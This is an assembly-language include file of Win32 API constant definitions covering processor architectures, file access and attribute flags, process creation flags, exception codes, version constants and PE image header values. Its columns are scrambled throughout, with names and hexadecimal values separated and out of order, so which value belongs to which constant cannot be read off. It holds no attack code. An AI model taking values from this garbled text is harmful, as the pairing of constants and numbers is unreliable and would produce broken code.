PROCESSOR_ARCHITECTURE_INTEL PROCESSOR_ARCHITECTURE_MIPS PROCESSOR_ARCHITECTURE_ALPHA PROCESSOR_ARCHITECTURE_PPC PROCESSOR_ARCHITECTURE_SHX PROCESSOR_ARCHITECTURE_ARM PROCESSOR_ARCHITECTURE_IA64 PROCESSOR_ARCHITECTURE_ALPHA64 PROCESSOR_ARCHITECTURE_UNKNOWN

0 1 2 3 4 5 6 7 0FFFFh EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU 0 1 2 3 4 5 6 7 8 00000001h 00000002h

PF_FLOATING_POINT_PRECISION_ERRATA PF_FLOATING_POINT_EMULATED PF_COMPARE_EXCHANGE_DOUBLE PF_MMX_INSTRUCTIONS_AVAILABLE PF_PPC_MOVEMEM_64BIT_OK PF_ALPHA_BYTE_INSTRUCTIONS PF_XMMI_INSTRUCTIONS_AVAILABLE PF_AMD3D_INSTRUCTIONS_AVAILABLE PF_RDTSC_INSTRUCTION_AVAILABLE SYSTEM_FLAG_REMOTE_BOOT_CLIENT SYSTEM_FLAG_DISKLESS_CLIENT

;ÄÄÄÄÄÄ´ FILES ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ INVALID_HANDLE_VALUE INVALID_FILE_SIZE STD_INPUT_HANDLE STD_OUTPUT_HANDLE STD_ERROR_HANDLE FILE_BEGIN FILE_CURRENT FILE_END EQU EQU EQU EQU EQU -1 0FFFFFFFFh -10 -11 -12 ; used by SetFilePos (shows from where ; to move) ;

EQU 0 EQU 1 EQU 2

FILE_READ_DATA FILE_LIST_DIRECTORY FILE_WRITE_DATA FILE_ADD_FILE

EQU 0001h EQU 0001h EQU 0002h EQU 0002h EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU

; file & pipe ; directory ; file & pipe ; directory 0004h ; file 0004h ; directory 0004h ; named pipe 0008h ; file & directory 0010h ; file & directory 0020h ; file 0020h ; directory 0040h ; directory 0080h ; all 0100h ; all STANDARD_RIGHTS_REQUIRED OR\ SYNCHRONIZE OR 1FFh OR\ OR\ OR\ OR\

FILE_APPEND_DATA FILE_ADD_SUBDIRECTORY FILE_CREATE_PIPE_INSTANCE FILE_READ_EA FILE_WRITE_EA FILE_EXECUTE FILE_TRAVERSE FILE_DELETE_CHILD FILE_READ_ATTRIBUTES FILE_WRITE_ATTRIBUTES FILE_ALL_ACCESS

FILE_GENERIC_READ

EQU STANDARD_RIGHTS_READ FILE_READ_DATA FILE_READ_ATTRIBUTES FILE_READ_EA SYNCHRONIZE

FILE_GENERIC_WRITE

EQU STANDARD_RIGHTS_WRITE FILE_WRITE_DATA FILE_WRITE_ATTRIBUTES FILE_WRITE_EA FILE_APPEND_DATA SYNCHRONIZE

OR\ OR\ OR\ OR\ OR\

FILE_GENERIC_EXECUTE

EQU STANDARD_RIGHTS_EXECUTE FILE_READ_ATTRIBUTES FILE_EXECUTE SYNCHRONIZE EQU 00000001h EQU 00000002h EQU 00000004h EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU 00000001h 00000002h 00000004h 00000010h 00000020h 00000040h 00000080h 00000100h 00000200h 00000400h 00000800h 00001000h 00002000h 00004000h 00000001h 00000002h 00000004h 00000008h 00000010h

OR\ OR\ OR\

FILE_SHARE_READ FILE_SHARE_WRITE FILE_SHARE_DELETE FILE_ATTRIBUTE_READONLY FILE_ATTRIBUTE_HIDDEN FILE_ATTRIBUTE_SYSTEM FILE_ATTRIBUTE_DIRECTORY FILE_ATTRIBUTE_ARCHIVE FILE_ATTRIBUTE_DEVICE FILE_ATTRIBUTE_NORMAL FILE_ATTRIBUTE_TEMPORARY FILE_ATTRIBUTE_SPARSE_FILE FILE_ATTRIBUTE_REPARSE_POINT FILE_ATTRIBUTE_COMPRESSED FILE_ATTRIBUTE_OFFLINE FILE_ATTRIBUTE_NOT_CONTENT_INDEXED FILE_ATTRIBUTE_ENCRYPTED FILE_NOTIFY_CHANGE_FILE_NAME FILE_NOTIFY_CHANGE_DIR_NAME FILE_NOTIFY_CHANGE_ATTRIBUTES FILE_NOTIFY_CHANGE_SIZE FILE_NOTIFY_CHANGE_LAST_WRITE

FILE_NOTIFY_CHANGE_LAST_ACCESS FILE_NOTIFY_CHANGE_CREATION FILE_NOTIFY_CHANGE_SECURITY FILE_ACTION_ADDED FILE_ACTION_REMOVED FILE_ACTION_MODIFIED FILE_ACTION_RENAMED_OLD_NAME FILE_ACTION_RENAMED_NEW_NAME MAILSLOT_NO_MESSAGE MAILSLOT_WAIT_FOREVER FILE_CASE_SENSITIVE_SEARCH FILE_CASE_PRESERVED_NAMES FILE_UNICODE_ON_DISK FILE_PERSISTENT_ACLS FILE_FILE_COMPRESSION FILE_VOLUME_QUOTAS FILE_SUPPORTS_SPARSE_FILES FILE_SUPPORTS_REPARSE_POINTS FILE_SUPPORTS_REMOTE_STORAGE FILE_VOLUME_IS_COMPRESSED FILE_SUPPORTS_OBJECT_IDS FILE_SUPPORTS_ENCRYPTION COPY_FILE_FAIL_IF_EXISTS COPY_FILE_RESTARTABLE COPY_FILE_OPEN_SOURCE_FOR_WRITE REPLACEFILE_WRITE_THROUGH REPLACEFILE_IGNORE_MERGE_ERRORS FILE_FLAG_WRITE_THROUGH FILE_FLAG_OVERLAPPED FILE_FLAG_NO_BUFFERING FILE_FLAG_RANDOM_ACCESS FILE_FLAG_SEQUENTIAL_SCAN FILE_FLAG_DELETE_ON_CLOSE FILE_FLAG_BACKUP_SEMANTICS FILE_FLAG_POSIX_SEMANTICS FILE_FLAG_OPEN_REPARSE_POINT FILE_FLAG_OPEN_NO_RECALL FIND_FIRST_EX_CASE_SENSITIVE MOVEFILE_REPLACE_EXISTING MOVEFILE_COPY_ALLOWED MOVEFILE_DELAY_UNTIL_REBOOT MOVEFILE_WRITE_THROUGH MOVEFILE_CREATE_HARDLINK MOVEFILE_FAIL_IF_NOT_TRACKABLE CREATE_NEW CREATE_ALWAYS OPEN_EXISTING OPEN_ALWAYS TRUNCATE_EXISTING LOCKFILE_FAIL_IMMEDIATELY LOCKFILE_EXCLUSIVE_LOCK HANDLE_FLAG_INHERIT EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU

EQU 00000020h EQU 00000040h EQU 00000100h EQU EQU EQU EQU EQU 00000001h 00000002h 00000003h 00000004h 00000005h

EQU -1 EQU -1 EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU 00000001h 00000002h 00000004h 00000008h 00000010h 00000020h 00000040h 00000080h 00000100h 00008000h 00010000h 00020000h

EQU 00000001h EQU 00000002h EQU 00000004h EQU 00000001h EQU 00000002h 80000000h 40000000h 20000000h 10000000h 08000000h 04000000h 02000000h 01000000h 00200000h 00100000h

EQU 00000001h EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU 00000001h 00000002h 00000004h 00000008h 00000010h 00000020h 1 2 3 4 5

EQU 00000001h EQU 00000002h EQU 00000001h

HANDLE_FLAG_PROTECT_FROM_CLOSE HINSTANCE_ERROR FILE_ENCRYPTABLE FILE_IS_ENCRYPTED FILE_SYSTEM_ATTR FILE_ROOT_DIR FILE_SYSTEM_DIR FILE_UNKNOWN FILE_SYSTEM_NOT_SUPPORT FILE_USER_DISALLOWED FILE_READ_ONLY FS_CASE_IS_PRESERVED FS_CASE_SENSITIVE FS_UNICODE_STORED_ON_DISK FS_PERSISTENT_ACLS FS_VOL_IS_COMPRESSED FS_FILE_COMPRESSION FS_FILE_ENCRYPTION FILE_MAP_COPY FILE_MAP_WRITE FILE_MAP_READ FILE_MAP_ALL_ACCESS ; Open File flags OF_READ OF_WRITE OF_READWRITE OF_SHARE_COMPAT OF_SHARE_EXCLUSIVE OF_SHARE_DENY_WRITE OF_SHARE_DENY_READ OF_SHARE_DENY_NONE OF_PARSE OF_DELETE OF_VERIFY OF_CANCEL OF_CREATE OF_PROMPT OF_EXIST OF_REOPEN FILE_TYPE_UNKNOWN FILE_TYPE_DISK FILE_TYPE_CHAR FILE_TYPE_PIPE FILE_TYPE_REMOTE

EQU 00000002h EQU 32 EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU 0 1 2 3 4 5 6 7 8 FILE_CASE_PRESERVED_NAMES FILE_CASE_SENSITIVE_SEARCH FILE_UNICODE_ON_DISK FILE_PERSISTENT_ACLS FILE_VOLUME_IS_COMPRESSED FILE_FILE_COMPRESSION FILE_SUPPORTS_ENCRYPTION SECTION_QUERY SECTION_MAP_WRITE SECTION_MAP_READ SECTION_ALL_ACCESS

EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU

00000000h 00000001h 00000002h 00000000h 00000010h 00000020h 00000030h 00000040h 00000100h 00000200h 00000400h 00000800h 00001000h 00002000h 00004000h 00008000h 0000h 0001h 0002h 0003h 8000h

;ÄÄÄÄÄÄ´ PROCESS ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ PROCESS_HEAP_REGION PROCESS_HEAP_UNCOMMITTED_RANGE PROCESS_HEAP_ENTRY_BUSY PROCESS_HEAP_ENTRY_MOVEABLE PROCESS_HEAP_ENTRY_DDESHARE DEBUG_PROCESS DEBUG_ONLY_THIS_PROCESS CREATE_SUSPENDED EQU EQU EQU EQU EQU 0001h 0002h 0004h 0010h 0020h

EQU 00000001h EQU 00000002h EQU 00000004h

DETACHED_PROCESS CREATE_NEW_CONSOLE NORMAL_PRIORITY_CLASS IDLE_PRIORITY_CLASS HIGH_PRIORITY_CLASS REALTIME_PRIORITY_CLASS CREATE_NEW_PROCESS_GROUP CREATE_UNICODE_ENVIRONMENT CREATE_SEPARATE_WOW_VDM CREATE_SHARED_WOW_VDM CREATE_FORCEDOS

EQU 00000008h EQU 00000010h EQU EQU EQU EQU 00000020h 00000040h 00000080h 00000100h

EQU 00000200h EQU 00000400h EQU 00000800h EQU 00001000h EQU 00002000h

BELOW_NORMAL_PRIORITY_CLASS EQU 00004000h ABOVE_NORMAL_PRIORITY_CLASS EQU 00008000h CREATE_DEFAULT_ERROR_MODE CREATE_NO_WINDOW PROFILE_USER PROFILE_KERNEL PROFILE_SERVER EQU 04000000h EQU 08000000h EQU 10000000h EQU 20000000h EQU 40000000h

;ÄÄÄÄÄÄ´ SEM ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ SEM_FAILCRITICALERRORS SEM_NOGPFAULTERRORBOX SEM_NOALIGNMENTFAULTEXCEPT SEM_NOOPENFILEERRORBOX EQU EQU EQU EQU 0001h 0002h 0004h 8000h

;ÄÄÄÄÄÄ´ MESSAGES ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ FORMAT_MESSAGE_ALLOCATE_BUFFER FORMAT_MESSAGE_IGNORE_INSERTS FORMAT_MESSAGE_FROM_STRING FORMAT_MESSAGE_FROM_HMODULE FORMAT_MESSAGE_FROM_SYSTEM FORMAT_MESSAGE_ARGUMENT_ARRAY FORMAT_MESSAGE_MAX_WIDTH_MASK EQU EQU EQU EQU EQU EQU EQU 00000100h 00000200h 00000400h 00000800h 00001000h 00002000h 000000FFh

MESSAGE_RESOURCE_UNICODE EQU 0001 ;ÄÄÄÄÄÄ´ EXCEPTIONS ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ EXCEPTION_NONCONTINUABLE EXCEPTION_MAXIMUM_PARAMETERS EXCEPTION_ACCESS_VIOLATION EXCEPTION_DATATYPE_MISALIGNMENT EXCEPTION_BREAKPOINT EXCEPTION_SINGLE_STEP EXCEPTION_ARRAY_BOUNDS_EXCEEDED EXCEPTION_FLT_DENORMAL_OPERAND EXCEPTION_FLT_DIVIDE_BY_ZERO EXCEPTION_FLT_INEXACT_RESULT EXCEPTION_FLT_INVALID_OPERATION EXCEPTION_FLT_OVERFLOW EXCEPTION_FLT_STACK_CHECK EXCEPTION_FLT_UNDERFLOW EXCEPTION_INT_DIVIDE_BY_ZERO EXCEPTION_INT_OVERFLOW EQU 1 EQU 15 EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU STATUS_ACCESS_VIOLATION STATUS_DATATYPE_MISALIGNMENT STATUS_BREAKPOINT STATUS_SINGLE_STEP STATUS_ARRAY_BOUNDS_EXCEEDED STATUS_FLOAT_DENORMAL_OPERAND STATUS_FLOAT_DIVIDE_BY_ZERO STATUS_FLOAT_INEXACT_RESULT STATUS_FLOAT_INVALID_OPERATION STATUS_FLOAT_OVERFLOW STATUS_FLOAT_STACK_CHECK STATUS_FLOAT_UNDERFLOW STATUS_INTEGER_DIVIDE_BY_ZERO STATUS_INTEGER_OVERFLOW

EXCEPTION_PRIV_INSTRUCTION EXCEPTION_IN_PAGE_ERROR EXCEPTION_ILLEGAL_INSTRUCTION EXCEPTION_NONCONTINUABLE_EXCEPTION EXCEPTION_STACK_OVERFLOW EXCEPTION_INVALID_DISPOSITION EXCEPTION_GUARD_PAGE EXCEPTION_INVALID_HANDLE

EQU EQU EQU EQU EQU EQU EQU EQU

STATUS_PRIVILEGED_INSTRUCTION STATUS_IN_PAGE_ERROR STATUS_ILLEGAL_INSTRUCTION STATUS_NONCONTINUABLE_EXCEPTION STATUS_STACK_OVERFLOW STATUS_INVALID_DISPOSITION STATUS_GUARD_PAGE_VIOLATION STATUS_INVALID_HANDLE

;ÄÄÄÄÄÄ´ VERSION ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ VER_SERVER_NT VER_WORKSTATION_NT VER_SUITE_SMALLBUSINESS VER_SUITE_ENTERPRISE VER_SUITE_BACKOFFICE VER_SUITE_COMMUNICATIONS VER_SUITE_TERMINAL VER_SUITE_SMALLBUSINESS_RESTRICTED VER_SUITE_EMBEDDEDNT VER_PLATFORM_WIN32s VER_PLATFORM_WIN32_WINDOWS VER_PLATFORM_WIN32_NT VER_EQUAL VER_GREATER VER_GREATER_EQUAL VER_LESS VER_LESS_EQUAL VER_AND VER_OR VER_MINORVERSION VER_MAJORVERSION VER_BUILDNUMBER VER_PLATFORMID VER_SERVICEPACKMINOR VER_SERVICEPACKMAJOR VER_SUITENAME EQU EQU EQU EQU EQU EQU EQU EQU EQU 80000000h 40000000h 00000001h 00000002h 00000004h 00000008h 00000010h 00000020h 00000040h

EQU 0 EQU 1 EQU 2 EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU 1 2 3 4 5 6 7 0000001h 0000002h 0000004h 0000008h 0000010h 0000020h 0000040h

;ÄÄÄÄÄÄ´ FILE IMAGES EQUATES ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ IMAGE_DOS_SIGNATURE IMAGE_OS2_SIGNATURE IMAGE_OS2_SIGNATURE_LE IMAGE_VXD_SIGNATURE IMAGE_NT_SIGNATURE IMAGE_SIZEOF_FILE_HEADER IMAGE_SIZEOF_MZ_HEADER ; PE File Characteristics IMAGE_FILE_RELOCS_STRIPPED IMAGE_FILE_EXECUTABLE_IMAGE externel references). IMAGE_FILE_LINE_NUMS_STRIPPED IMAGE_FILE_LOCAL_SYMS_STRIPPED IMAGE_FILE_AGGRESIVE_WS_TRIM IMAGE_FILE_LARGE_ADDRESS_AWARE IMAGE_FILE_BYTES_REVERSED_LO IMAGE_FILE_32BIT_MACHINE EQU 0001h EQU 0002h EQU EQU EQU EQU EQU EQU 0004h 0008h 0010h 0020h 0080h 0100h ; Relocation info stripped from file. ; File is executable (i.e. no unresolved ; ; ; ; ; ; Line nunbers stripped from file. Local symbols stripped from file. Agressively trim working set App can handle >2gb addresses Bytes of machine word are reversed. 32 bit word machine. EQU EQU EQU EQU EQU EQU EQU 5A4Dh 454Eh 454Ch 454Ch 00004550h 20 ; 40h ; ; ; ; ; ; MZ NE LE LE PE00

IMAGE_FILE_DEBUG_STRIPPED file IMAGE_FILE_REMOVABLE_RUN_FROM_SWAP run from the swap file. IMAGE_FILE_NET_RUN_FROM_SWAP swap file. IMAGE_FILE_SYSTEM IMAGE_FILE_DLL IMAGE_FILE_UP_SYSTEM_ONLY IMAGE_FILE_BYTES_REVERSED_HI ; PE Machine type IMAGE_FILE_MACHINE_UNKNOWN IMAGE_FILE_MACHINE_I386 IMAGE_FILE_MACHINE_R3000 IMAGE_FILE_MACHINE_R4000 IMAGE_FILE_MACHINE_R10000 IMAGE_FILE_MACHINE_WCEMIPSV2 IMAGE_FILE_MACHINE_ALPHA IMAGE_FILE_MACHINE_POWERPC IMAGE_FILE_MACHINE_SH3 IMAGE_FILE_MACHINE_SH3E IMAGE_FILE_MACHINE_SH4 IMAGE_FILE_MACHINE_ARM IMAGE_FILE_MACHINE_THUMB IMAGE_FILE_MACHINE_IA64 IMAGE_FILE_MACHINE_MIPS16 IMAGE_FILE_MACHINE_MIPSFPU IMAGE_FILE_MACHINE_MIPSFPU16 IMAGE_FILE_MACHINE_ALPHA64 IMAGE_FILE_MACHINE_AXP64 IMAGE_NUMBEROF_DIRECTORY_ENTRIES IMAGE_SIZEOF_STD_OPTIONAL_HEADER IMAGE_SIZEOF_NT_OPTIONAL_HEADER IMAGE_NT_OPTIONAL_HDR_MAGIC IMAGE_SUBSYSTEM_UNKNOWN IMAGE_SUBSYSTEM_NATIVE IMAGE_SUBSYSTEM_WINDOWS_GUI IMAGE_SUBSYSTEM_WINDOWS_CUI IMAGE_SUBSYSTEM_OS2_CUI IMAGE_SUBSYSTEM_POSIX_CUI IMAGE_SUBSYSTEM_NATIVE_WINDOWS IMAGE_SUBSYSTEM_WINDOWS_CE_GUI ; Directory Entries IMAGE_DIRECTORY_ENTRY_EXPORT IMAGE_DIRECTORY_ENTRY_IMPORT IMAGE_DIRECTORY_ENTRY_RESOURCE IMAGE_DIRECTORY_ENTRY_EXCEPTION IMAGE_DIRECTORY_ENTRY_SECURITY IMAGE_DIRECTORY_ENTRY_BASERELOC IMAGE_DIRECTORY_ENTRY_DEBUG IMAGE_DIRECTORY_ENTRY_ARCHITECTURE IMAGE_DIRECTORY_ENTRY_GLOBALPTR IMAGE_DIRECTORY_ENTRY_TLS IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT IMAGE_DIRECTORY_ENTRY_IAT IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT

EQU 0200h EQU 0400h EQU 0800h EQU EQU EQU EQU 1000h 2000h 4000h 8000h

; Debugging info stripped from file in .DBG ; If Image is on removable media, copy and ; If Image is on Net, copy and run from the ; ; ; ; System File. File is a DLL. File should only be run on a UP machine Bytes of machine word are reversed.

EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU EQU

0 014ch ; Intel 386. 0162h ; MIPS little-endian, 160 big-endian 0166h ; MIPS little-endian 0168h ; MIPS little-endian 0169h ; MIPS little-endian WCE v2 0184h ; Alpha_AXP 01F0h ; IBM PowerPC Little-Endian 01a2h ; SH3 little-endian 01a4h ; SH3E little-endian 01a6h ; SH4 little-endian 01c0h ; ARM Little-Endian 01c2h 0200h ; Intel 64 0266h ; MIPS 0366h ; MIPS 0466h ; MIPS 0284h ; ALPHA64 IMAGE_FILE_MACHINE_ALPHA64 16 28 224 10bh 0 1 2 3 5 7 8 9 ; ; ; ; ; ; ; ; Unknown subsystem. Image doesn't require a subsystem. Image runs in the Windows GUI subsystem. Image runs in the Windows character subsystem. image runs in the OS/2 character subsystem. image runs in the Posix character subsystem. image is a native Win9x driver. Image runs in the Windows CE subsystem.

<